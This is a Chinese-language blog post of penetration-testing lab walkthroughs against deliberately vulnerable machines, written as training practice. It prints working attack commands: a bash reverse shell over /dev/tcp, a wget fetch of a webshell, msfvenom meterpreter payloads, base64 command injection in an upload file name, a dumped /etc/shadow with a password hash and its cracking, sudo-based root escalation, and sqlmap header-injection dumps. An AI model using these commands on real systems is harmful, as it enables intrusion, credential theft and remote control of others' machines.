一般查看home目录,挖掘用户信息:ls -alh /home
查看具体用户的目录:ls -alh /home/用户名/
查看系统信息:uname -a
利用ssh命令执行root权限命令
使用ssh 用户名@localhost通过ssh登录服务器是不需要身份验证的;
比如查看bill用户sudo命令的权限:ssh bill@localhost sudo -l
ubuntu自带防火墙,所以关闭防火墙方便后面的操作。
ssh bill@localhost sudo ufw disable
反弹shell
攻击机启动监听netcat
nc -nlvp 4444
查看是否nc正在监听
netstat -pantu
靶场机器反弹shell
ssh bill@locahost sudo bash -i >& /dev/tcp/ip/4444 0>&1
然后监听端
渗透测试技巧
开启python简易http服务器
python -m SimpleHTTPServer
利用命令执行下载木马文件
ssh bill@localhost sudo wget "http://[ip]:[port]/shell.jsp" -O /var/lib/tomcat8/webapps/ROOT/shell.jsp
不过没有成功
使用wpscan对用户名进行提取
wpscan --url www.vtcsec.com/secret/ --enumerate u
探测到一个用户名为admin
使用metasploit进行暴力破解
破解完成,密码admin
登录成功
制作webshell进行上传。
访问404界面
http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php
这里再提一下之前的提权,这次这个可以查看shadow文件
cat /etc/shadow root:!:17484:0:99999:7::: daemon:*:17379:0:99999:7::: bin:*:17379:0:99999:7::: sys:*:17379:0:99999:7::: sync:*:17379:0:99999:7::: games:*:17379:0:99999:7::: man:*:17379:0:99999:7::: lp:*:17379:0:99999:7::: mail:*:17379:0:99999:7::: news:*:17379:0:99999:7::: uucp:*:17379:0:99999:7::: proxy:*:17379:0:99999:7::: www-data:*:17379:0:99999:7::: backup:*:17379:0:99999:7::: list:*:17379:0:99999:7::: irc:*:17379:0:99999:7::: gnats:*:17379:0:99999:7::: nobody:*:17379:0:99999:7::: systemd-timesync:*:17379:0:99999:7::: systemd-network:*:17379:0:99999:7::: systemd-resolve:*:17379:0:99999:7::: systemd-bus-proxy:*:17379:0:99999:7::: syslog:*:17379:0:99999:7::: _apt:*:17379:0:99999:7::: messagebus:*:17379:0:99999:7::: uuidd:*:17379:0:99999:7::: lightdm:*:17379:0:99999:7::: whoopsie:*:17379:0:99999:7::: avahi-autoipd:*:17379:0:99999:7::: avahi:*:17379:0:99999:7::: dnsmasq:*:17379:0:99999:7::: colord:*:17379:0:99999:7::: speech-dispatcher:!:17379:0:99999:7::: hplip:*:17379:0:99999:7::: kernoops:*:17379:0:99999:7::: pulse:*:17379:0:99999:7::: rtkit:*:17379:0:99999:7::: saned:*:17379:0:99999:7::: usbmux:*:17379:0:99999:7::: marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7::: mysql:!:17486:0:99999:7::: sshd:*:17486:0:99999:7:::
所以可以进行尝试之前提到的一种提权方式
先将两个文件下载下来
meterpreter > download /etc/shadow [*] Downloading: /etc/shadow -> shadow [*] Downloaded 1.27 KiB of 1.27 KiB (100.0%): /etc/shadow -> shadow [*] download : /etc/shadow -> shadow meterpreter > download /etc/passwd [*] Downloading: /etc/passwd -> passwd [*] Downloaded 2.31 KiB of 2.31 KiB (100.0%): /etc/passwd -> passwd [*] download : /etc/passwd -> passwd
然后逆向一下这两个文件
unshadow passwd shadow > cracked
然后会发现有了cracked这个文件,在用John进行破解一下,就得到了一个用户名和密码marlinspike
然后登录到一个相对较高的用户,得到一个较高的权限,这个时候,可以使用sudo -l
查看可以使用的sudo命令。
然后发现可以使用sudo bash
最后得到root权限
一个工具,是个坑,不知道什么时候改名字了,原本叫sparta,我找半天没找到,就自己安装,总是定位不到依赖包,尝试了各种方法也没有安装成功。就是因为它改名字了,现在叫legion
感谢那个发现改名的大师傅。
其他没什么了。
中间件介绍
中间件包括apache、tomcat、IIS、weblogic等,这些中间件可以设置支持的http方法。(HTTP方法包括GET、POST、HEAD、DELETE、PUT、OPTIONS等)
每一个HTTP方法都有其对应的功能,在这些方法中,PUT可以直接从客户机上传文件到服务器。如果中间件开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传webshell到服务器对应的目录。
直接上传shell,也可以从侧面反映PUT漏洞的眼中危害性。
使用nikto和dirb等工具扫描,除了扫描出来一个test目录,什么也没有;Owasp zap这个漏洞扫描器也没有结果;所以学习一个新工具curl
curl -v -X OPTIONS http://10.0.2.8/test
利用PUT漏洞获取shell思路:
上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux中获取反弹shell;
上传webshell;在test目录下直接使用浏览器插件poster,上传webshell
使用/usr/share/webshells/php/下的webshell
使用火狐工具插件RESTClient上传,内容粘贴shell的代码。然后nc监听相应端口;
然后发送,再去浏览器访问这个URL就可以执行shell了;
查看nc监听情况。
得到shell
找到一个上传页面,而且经过测试只能上传后缀为csv的文件,所以在桌面新建一个1.csv然后使用burpsuite进行抓包修改参数,写入可执行的命令在名称里面。
启动监听,使用msfconsole
msfconsole use exploit/multi/handler set payload linux/x86/meterpreter_reverse_tcp set lhost 10.0.2.4 exploit#开启监听
然后制作shell;
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=10.0.2.4 lport=4444 -f elf > /var/www/html/shell
然后就是绕过防火墙 上传shell
利用base64绕过防火墙检测
service apache2 start#开启apache服务 echo 'wget http://10.0.2.4/shell -O /tmp/shell' | base64 echo 'chmod +x /tmp/shell' | base64 echo '/tmp/shell' | base64
使用burpsuite抓包修改参数
"<?php shell system(base64_decode('base64encodestrings'));die();?>.php"
一步一步的将参数修改上传,最后得到反弹的shell,
提升权限;
登录服务器后,反弹的shell是www-data用户,并不具备root权限,
使用sudo -l 查看www-data用户的sudo权限;
根据提示执行以下命令(为了方便,程序员便设置了不需要密码就可以执行的web操作)
sudo perl -e "exec '/bin/bash' " bash -i
就得到了服务器的root用户权限。
靶场是linux 2.6x的系统,安装虚拟机时注意。
然后对靶机进行信息收集,发现了敏感目录,访问是一个登录页面
尝试弱口令登录,但是失败了。
放弃使用弱口令,开始进行漏洞扫描,使用AVWS进行漏洞扫描。
配置好,然后开始scan
等待结果就可以了
最后这个有个高危漏洞,是个盲注。详细信息继续查看。
看出是关于X-Forwarded-For报头注入的一个SQL盲注漏洞。
使用sqlmap进行探测,就可以得到数据库中的数据了。
sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" --dbs --batch sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C "login,password" --dump --batch
按照套路来就行,最后测出数据
账号密码进行登录
然后就是老套路,上传webshell,连接,提权等操作。
作者:m0re
原文链接:https://blog.csdn.net/qq_45836474/article/details/108015896#comments_14984090